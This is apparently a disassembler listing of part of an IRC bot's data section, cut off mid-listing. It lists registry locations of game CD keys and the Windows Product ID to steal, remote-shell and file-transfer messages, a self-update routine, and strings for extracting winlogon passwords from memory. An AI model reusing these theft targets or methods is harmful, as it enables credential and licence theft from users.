offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_436230 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o dd 80000001h, 4373B4h, 4373A8h, 437398h, 2 dup(0) dd 80000001h, 437378h, 437374h, 437360h, 2 dup(0) dd 80000001h, 43733Ch, 437374h, 437330h, 2 dup(0) dd 80000001h, 43730Ch, 437304h, 4372F0h, 2 dup(0) dd 80000001h, 4372DCh, 4372CCh, 4372B0h, 2 dup(0) dd 80000001h, 43726Ch, 4373F4h, 437258h, 2 dup(0) dd 80000002h, 43722Ch, 437220h, 437200h, 2 dup(0) dd 80000002h, 4371CCh, 4373F4h, 4371B4h, 2 dup(0) dd 80000002h, 437180h, 4373F4h, 437168h, 2 dup(0) dd 80000002h, 437150h, 4373F4h, 437138h, 2 dup(0) dd 80000002h, 4370FCh, 43D158h, 4370ECh, 2 dup(0) dd 80000002h, 4370B4h, 43D158h, 4370A0h, 2 dup(0) dd 80000002h, 437054h, 43D158h, 437034h, 2 dup(0) dd 80000002h, 436FE4h, 43D158h, 436FB8h, 2 dup(0) dd 80000002h, 436F7Ch, 43D158h, 436F68h, 2 dup(0) dd 80000002h, 436F30h, 43D158h, 436F20h, 2 dup(0) dd 80000002h, 436ED0h, 43D158h, 436EA4h, 2 dup(0) dd 80000002h, 436E64h, 43D158h, 436E48h, 2 dup(0) dd 80000002h, 436E18h, 43D158h, 436DF8h, 2 dup(0) dd 80000002h, 436DBCh, 43D158h, 436DA8h, 2 dup(0) dd 80000002h, 436D60h, 43D158h, 436D40h, 2 dup(0) dd 80000002h, 436CECh, 43D158h, 436CBCh, 2 dup(0) dd 80000002h, 436C6Ch, 43D158h, 436C40h, 2 dup(0) dd 80000002h, 436C00h, 436BF8h, 436BD8h, 2 dup(0) dd 80000002h, 436B94h, 43D158h, 436B78h, 2 dup(0) dd 80000002h, 436B2Ch, 43D158h, 436B08h, 2 dup(0) dd 80000002h, 436AD4h, 43D158h, 436AC8h, 2 dup(0) dd 80000002h, 436A94h, 43D158h, 436A88h, 2 dup(0) dd 80000002h, 436A54h, 43D158h, 436A48h, 2 dup(0) dd 80000002h, 436A14h, 43D158h, 436A08h, 2 dup(0) dd 80000002h, 4369CCh, 43D158h, 4369B8h, 2 dup(0) dd 80000002h, 43697Ch, 43D158h, 436968h, 2 dup(0) dd 80000002h, 436938h, 4373F4h, 43691Ch, 2 dup(0) dd 80000002h, 4368FCh, 4368F4h, 4368D0h, 2 dup(0) dd 80000002h, 4368B4h, 4368F4h, 436894h, 2 dup(0) dd 80000002h, 436874h, 4368F4h, 436850h, 2 dup(0) dd 80000002h, 436838h, 4368F4h, 436834h, 2 dup(0) dd 80000002h, 436818h, 436808h, 436800h, 2 dup(0) ; --------------------------------------------------------------------------- add al, [eax] add byte_4367CC[eax], al dec esp retn 42h ; --------------------------------------------------------------------------- dd offset aHiddenDangerou ; "Hidden & Dangerous 2" align 10h dd 80000002h, 436778h, 43676Ch, 436744h, 436734h, 436720h dd 80000002h, 4366FCh, 4366F0h, 4366DCh, 4366CCh, 4366C4h dd 80000002h, 4366FCh, 4366F0h, 436698h, 4366CCh, 436690h dd 80000002h, 4366FCh, 4366F0h, 436660h, 4366CCh, 436658h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 ; DATA XREF: ___:004365D4o align 4 byte_4367CC db 53h ; DATA XREF: ___:004365CAw aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 10h aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 10h db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 10h aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 10h aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 10h db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 10h db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 10h aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 10h aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 10h db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 10h db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 10h aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 10h aProductid db 'ProductId',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 10h aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 10h aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:0043622Co aCdkey db 'CDKey',0 ; DATA XREF: ___:00436228o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_436224o align 4 asc_437424: ; DATA XREF: sub_415A2F+E9o ; sub_415A2F+F4o unicode 0, <=>,0 dword_437428 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_415A2F+2Bo dd 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_4374A4 db 2Dh ; - ; DATA XREF: ___:00415F17o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 dword_4374C8 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:0041617Co ; ___:00416312o dd 726F72h unk_4374E0 db 2Dh ; - ; DATA XREF: ___:00416114o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_43750C db 2Dh ; - ; DATA XREF: ___:0041601Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 10h dword_437530 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00415FE5o dd 74756Fh dword_437548 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:00415F84o dd 169h unk_437560 db 2Dh ; - ; DATA XREF: ___:00415F41o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 10h unk_437580 db 2Dh ; - ; DATA XREF: ___:00415E9Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_4375A4 db 2Dh ; - ; DATA XREF: ___:00415E5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 4 unk_4375C8 db 2Dh ; - ; DATA XREF: ___:0041638Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_4375F4 db 2Dh ; - ; DATA XREF: ___:00416287o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_437614 db 2Dh ; - ; DATA XREF: ___:00416267o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 10h aAB db 'a+b',0 ; DATA XREF: ___:00416253o unk_437644 db 2Dh ; - ; DATA XREF: ___:0041623Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_437674 db 2Dh ; - ; DATA XREF: ___:0041688Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_4376A0 db 2Dh ; - ; DATA XREF: ___:0041687Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_4376D4 db 2Dh ; - ; DATA XREF: ___:004167C2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 dword_437718 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416751o dd 25206465h, 73h unk_437734 db 2Dh ; - ; DATA XREF: ___:004166DAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_43776C db 2Dh ; - ; DATA XREF: ___:0041665Bo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_437794 db 2Dh ; - ; DATA XREF: ___:004165D1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 10h unk_4377C0 db 2Dh ; - ; DATA XREF: ___:0041658Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 unk_4377E8 db 2Dh ; - ; DATA XREF: ___:0041657Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 10h unk_437810 db 2Dh ; - ; DATA XREF: ___:00416470o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o ; sub_418EF6+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o align 10h aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo align 10h off_437860 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o word_437864 dw 3Fh ; DATA XREF: sub_4169A1+1Fo ; sub_41AA42:loc_41AB44r align 4 aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o ; sub_416B56+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co align 4 unk_437878 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_4378B4 db 2Dh ; - ; DATA XREF: sub_416B56+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_416C28:loc_416C6Do db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_437960 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_437994 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_4379C0 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 4 unk_4379F8 db 2Dh ; - ; DATA XREF: sub_416F1A+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_437A54 dd offset byte_530055 ; DATA XREF: sub_416F1A+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004D dd offset loc_4E0047+2 dd 0 off_437A6C dd offset byte_530055 ; DATA XREF: sub_416F1A+CEo dd offset byte_520045 dd offset loc_41004D+1 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o ; sub_416F1A+161o ... align 10h unk_437B30 db 2Dh ; - ; DATA XREF: sub_416F1A+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 10h aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o align 10h aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo align 4 dword_437B7C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417552+70o ; sub_4175E9+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_437BCC dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4175E9+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_437C20 dd offset aQ ; DATA XREF: sub_417ADD+5Cr ; "q" ; --------------------------------------------------------------------------- rol byte ptr [edi-5397FFBDh], 1 inc edx add [eax], bh retn ; --------------------------------------------------------------------------- inc edx add [edx+eax*8-7833FFBEh], ch inc ebx add [eax+80042AAh], ch retn ; --------------------------------------------------------------------------- inc edx add [edx+ebp*4-52FBFFBEh], al inc edx add [eax], dl retn ; --------------------------------------------------------------------------- dw 42h dd offset aD ; "d" dd offset dword_4387C8 dd offset dword_4387C4 dd offset dword_4387C0 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_4387BC dd offset dword_4387B8 dd offset dword_4387B4 dd offset aC ; "c" dd offset aV ; "v" dd offset dword_4387B0 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_4387AC dd offset dword_4387A8 dd offset dword_4387A4 dd offset dword_4387A0 dd offset dword_43879C dd offset word_438798 dd offset dword_438794 dd offset aI_0 ; "I" dd offset dword_438790 dd offset dword_43878C dd offset aA_0 ; "A" dd offset dword_438788 dd offset dword_438784 dd offset dword_438780 dd offset dword_43877C dd offset dword_438778 dd offset dword_438774 dd offset dword_438770 dd offset dword_43876C dd offset dword_438768 dd offset dword_438764 dd offset dword_438760 dd offset dword_43875C dd offset dword_438758 dd offset word_438754 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_4384EC dd offset off_4384E8 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438354 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_437F20 dd offset aSex_0 ; DATA XREF: sub_417ADD+41r ; sub_417ADD+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex ; "{sex}" dd offset aGens ; "{gens|" ; --------------------------------------------------------------------------- aam 81h inc ebx add ah, cl add dword ptr [ebx+0], offset aSick ; "sick}}" rol byte ptr [ecx-7E47FFBDh], 43h add [eax+2C004387h], dh lodsb inc edx add [edi+eax*8], dh inc edx add [eax-54h], ch inc edx add al, cl xchg eax, [ebx+0] les eax, [edi-783FFFBDh] inc ebx add [eax], cl retn ; --------------------------------------------------------------------------- dw 42h dd offset dword_42B52C dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_4387BC dd offset aM ; "m" dd offset aN ; "n" dd offset aO ; 